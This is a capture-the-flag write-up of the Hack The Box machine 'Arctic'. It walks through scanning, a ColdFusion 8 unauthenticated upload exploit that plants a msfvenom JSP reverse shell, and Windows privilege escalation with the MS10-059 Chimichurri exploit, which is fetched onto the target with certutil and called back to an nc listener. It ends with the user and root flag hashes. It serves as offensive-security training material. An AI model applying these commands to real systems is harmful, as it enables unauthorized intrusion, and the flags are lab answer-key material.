Owned Arctic from Hack The Box!
I have just owned machine Arctic from Hack The Box
Nmap Results
# Nmap 7.92 scan initiated Sat Aug 20 13:08:02 2022 as: nmap -T5 -p135,8500,49154 -A -oA scan-all -Pn 10.10.10.11
Nmap scan report for 10.10.10.11
Host is up (0.015s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
8500/tcp open fmtp?
49154/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 14.87 ms 10.10.14.1
2 15.82 ms 10.10.10.11
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 20 13:10:21 2022 -- 1 IP address (1 host up) scanned in 139.12 secondsService Enumeration
TCP/8500
Let's check Exploit Database and see if there are any known exploits for this version of Adobe ColdFusion.
searchsploit ColdFusion 8Looks like there is a Remote Code Execution (RCE) vulnerability and a Python script that should facilitate exploitation of the target.
Exploit
Copy the exploit to the current working directory:
searchsploit -m 50057Let's take a look at the exploit. It looks like there is an unauthenticated file upload vulnerability with the upload.cfm script.
http://{rhost}:{rport}/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/{filename}.jsp%00And, we need to update some variables with our IP and desired port, as well as the target IP and port.
if __name__ == '__main__':
# Define some information
lhost = '10.10.16.4'
lport = 4444
rhost = "10.10.10.11"
rport = 8500The Python script will then use the variables we updated and create a msfvenom JSP payload for us.
# Generate a payload that connects back and spawns a command shell
print("\nGenerating a payload...")
os.system(f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} -o {filename}.jsp')
# Encode the form data
form = MultiPartForm()
form.add_file('newfile', filename + '.txt', fileHandle=open(filename + '.jsp', 'rb'))
data = bytes(form)It will also start a listener for us, open the uploaded file, and catch the shell. If your shell dies, you can just restart your listener sudo rlwrap nc -lnvp <kali-tcp-port> and navigate to http://10.10.10.11:8500/userfiles/file/filename.jsp .
Let's do this then. Update your script variables:
Run the exploit.
python3 50057.pyAnd, just demonstrating how you can recover your shell if needed.
Post-Exploit Enumeration
Operating Environment
OS & Kernel
Host Name: ARCTIC
OS Name: Microsoft Windows Server 2008 R2 Standard
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 55041-507-9857321-84451
Original Install Date: 22/3/2017, 11:09:45 ��
System Boot Time: 22/8/2022, 4:16:27 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2294 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 6.143 MB
Available Physical Memory: 5.051 MB
Virtual Memory: Max Size: 12.285 MB
Virtual Memory: Available: 11.219 MB
Virtual Memory: In Use: 1.066 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.11
Current User
USER INFORMATION
----------------
User Name SID
============ =============================================
arctic\tolis S-1-5-21-2913191377-1678605233-910955532-1000
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Users and Groups
Local Users
User accounts for \\ARCTIC
-------------------------------------------------------------------------------
Administrator Guest tolis
Local Groups
Aliases for \\ARCTIC
-------------------------------------------------------------------------------
*Administrators
*Backup Operators
*Certificate Service DCOM Access
*Cryptographic Operators
*Distributed COM Users
*Event Log Readers
*Guests
*IIS_IUSRS
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Print Operators
*Remote Desktop Users
*Replicator
*Users
Network Configurations
Interfaces
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.10.10.11
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2
Tunnel adapter isatap.{79F1B374-AC3C-416C-8812-BF482D048A22}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Tunnel adapter Local Area Connection* 9:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Open Ports
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 672
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:2522 0.0.0.0:0 LISTENING 1168
TCP 0.0.0.0:2930 0.0.0.0:0 LISTENING 1168
TCP 0.0.0.0:6085 0.0.0.0:0 LISTENING 1168
TCP 0.0.0.0:6086 0.0.0.0:0 LISTENING 1084
TCP 0.0.0.0:7999 0.0.0.0:0 LISTENING 1168
TCP 0.0.0.0:8500 0.0.0.0:0 LISTENING 1168
TCP 0.0.0.0:9921 0.0.0.0:0 LISTENING 2220
TCP 0.0.0.0:9951 0.0.0.0:0 LISTENING 1304
TCP 0.0.0.0:9961 0.0.0.0:0 LISTENING 2440
TCP 0.0.0.0:19997 0.0.0.0:0 LISTENING 1184
TCP 0.0.0.0:19998 0.0.0.0:0 LISTENING 1228
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 360
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 752
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 800
TCP 0.0.0.0:49159 0.0.0.0:0 LISTENING 1168
TCP 0.0.0.0:49171 0.0.0.0:0 LISTENING 488
TCP 0.0.0.0:49175 0.0.0.0:0 LISTENING 468
TCP 10.10.10.11:139 0.0.0.0:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 672
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:2522 [::]:0 LISTENING 1168
TCP [::]:2930 [::]:0 LISTENING 1168
TCP [::]:6085 [::]:0 LISTENING 1168
TCP [::]:7999 [::]:0 LISTENING 1168
TCP [::]:8500 [::]:0 LISTENING 1168
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49152 [::]:0 LISTENING 360
TCP [::]:49153 [::]:0 LISTENING 752
TCP [::]:49154 [::]:0 LISTENING 800
TCP [::]:49159 [::]:0 LISTENING 1168
TCP [::]:49171 [::]:0 LISTENING 488
TCP [::]:49175 [::]:0 LISTENING 468
Privilege Escalation
Windows Exploit Suggester
Run the command systeminfo on the target and copy and paste the output into a file on Kali, sysinfo.txt for example.
Now let's search for local privilege escalation options by allowing Windows Exploit Suggester to compare the patch level of the machine against a database downloaded from Microsoft.
# Download the latest patch bulletin from Microsoft
python2 windows-exploit-suggester.py -u
# Check for local privilege escalationexploits
python2 windows-exploit-suggester -d yyyy-MM-dd-mssb.xls -i sysinfo.txt -lI searched Google for GitHub repositories containing exploits for the other two local privilege escalation exploits mentioned in the output, but eventually found a repo for this exploit.
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - ImportantCompiled Exploits
Ideally, you should find an exploit where you review the source code and compile it yourself. But in the case of of a CTF, I'm not too concerned with running pre-compiled exploits on this host.
windows-kernel-exploits/MS10-059: Chimichurri/Compiled at master · egre55/windows-kernel-exploits
Windows Kernel Exploits. Contribute to egre55/windows-kernel-exploits development by creating an account on GitHub.
egre55If you view the provided screenshot of the exploit, you'll see that it takes IP and TCP port arguments, which makes it great for a reverse she..
Transfer the Exploit to the Target
Download the exploit to Kali and host it using a Python web server.
wget https://github.com/egre55/windows-kernel-exploits/raw/master/MS10-059:%20Chimichurri/Compiled/Chimichurri.exe
sudo python3 -m http.server 80certutil.exe -urlcache -split -f http://kali-vpn-ip/Chimichurri.exe Chimichurri.exe
Run the Exploit
Start a listener on a TCP port of choice and run the exploit on the target.
sudo rlwrap nc -lnvp <kali-tcp-port>Substitute <kali-vpn-ip> and <kali-tcp-port> with the correct values for your environment.
.\Chimichurri.exe <kali-vpn-ip> <kali-tcp-port>I takes about a minute for the exploit to run, so be patient.
Flags
C:\Users\tolis\Desktop\user.txt
62478244af1b2d305d7c397780b4f362
C:\Users\Administrator\Desktop\root.txt
8f64f959198ef76a8a53d8f286e79e1b
